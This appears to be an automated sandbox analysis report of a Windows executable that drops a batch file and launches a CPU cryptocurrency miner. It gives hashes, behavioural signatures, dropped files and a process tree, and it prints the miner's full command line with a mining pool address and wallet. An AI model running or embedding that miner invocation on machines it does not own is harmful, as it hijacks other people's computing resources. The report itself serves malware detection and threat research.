73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22-02-2024 04:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4352	b2e.exe
4064	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4064	cpuminer-sse2.exe
4064	cpuminer-sse2.exe
4064	cpuminer-sse2.exe
4064	cpuminer-sse2.exe
4064	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3444-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 4352	3444	batexe.exe	75
PID 3444 wrote to memory of 4352	3444	batexe.exe	75
PID 3444 wrote to memory of 4352	3444	batexe.exe	75
PID 4352 wrote to memory of 4704	4352	b2e.exe	76
PID 4352 wrote to memory of 4704	4352	b2e.exe	76
PID 4352 wrote to memory of 4704	4352	b2e.exe	76
PID 4704 wrote to memory of 4064	4704	cmd.exe	79
PID 4704 wrote to memory of 4064	4704	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Users\Admin\AppData\Local\Temp\7B98.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7B98.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7B98.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7DEA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4704
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7B98.tmp\b2e.exe

Filesize
9.1MB

MD5
a97af40ec89bab099dfdaed9a14197fd

SHA1
2ce5555423105a103a6f37cbd104c7390306b177

SHA256
28d9e5696290334c5056d90cefe398119d92ed2b4e0ba7271169eeb12e95032c

SHA512
ac1ee551740014cc9827839470ebd141e02588d3c430d0f36b0a2226c3a16365c44c597ee8000501a849de3c27396e3f577fd4c0fcf655df9d8582c81b76d2c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\7B98.tmp\b2e.exe

Filesize
8.3MB

MD5
1905c6779b2bb6d8da53f81c4d2a601e

SHA1
817ab858ae7bcc70112e4ea3089b24e668c8b928

SHA256
580151b284a9d00086c1db7e15a4bd376b1bb78cd7b3169a18aab37d2368de68

SHA512
c511f032a3dd0c63c8cc223087edd6d0192206e4bdaf85acb0a135383ca96c5c6fa81528cebd62b815904b80edb58589c8b4dfca00d5bf1b2197ef7679f3dace

Download Submit
C:\Users\Admin\AppData\Local\Temp\7DEA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
384KB

MD5
eb8ea4d2595402528f73410e2c8651ed

SHA1
23abb385032a9317d00c826eb21e0fe6fc802c50

SHA256
fc3c5c1787c58c465ea47ab132afc59d209b1f7d319ae80a7913ed5c39157017

SHA512
7f4485a662859bdec898bb4f9675c8a834ab570ae7f4df2b6e95a9f5ab45f8fba612d04f0edfe22dc4bdcd3011af0536ed200731262056cd7bec332ce4b18573

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.0MB

MD5
cbb9da6c2e06bd2c40f7ec10112eaaa4

SHA1
f92567d1aeb23acbf4b2fb8ec8b396041b72b3f1

SHA256
e99ccdda3b9bc9b064d4bcef589c57d866ad7d7317196e90e63dc5ac2f622d4b

SHA512
5b2f5ea7c4fd62423db23f88fcccef578ac4073832642f615810edb5877e8f4affea016a42599629741d90b611518cc4952259dcf16f75ea25dd4b50dffeab09

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
8ecd8090af936b6da7ce2e3fd39bbb53

SHA1
921c089e41df0383c08e6a32f5e859807256ef41

SHA256
f4ac2f9f9ecd124365e79fe4297787a724250b47ce0ab59c339c31551f0746a2

SHA512
848346466ba25d63e74a8264d7e9f1e67bc464c70fb26822da0e9e8cae8964fd697aee49478081c6891d1262ab2c04fc51b0589ecd46dce76fe34bc72f629755

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.5MB

MD5
952edd82a7f6b3ee8336535e820881fc

SHA1
5f80524f88ddc22e9a9243472ee12862543a2642

SHA256
ae50bc90560ce5471464acdcef08eb4583a8524200a085d647a05600e86aab88

SHA512
72203b56e8cdba63e19cdba4760056331e5884ab87957ae13ebbb2c903edf056bdea717c58acf9fb703d3a441eabb5e284cf10fcffcf0ea0819bd6d76fa5609b

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3444-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4064-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4064-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-42-0x0000000069460000-0x00000000694F8000-memory.dmp

Filesize
608KB

Download
memory/4064-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4064-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4064-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4064-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4352-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4352-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download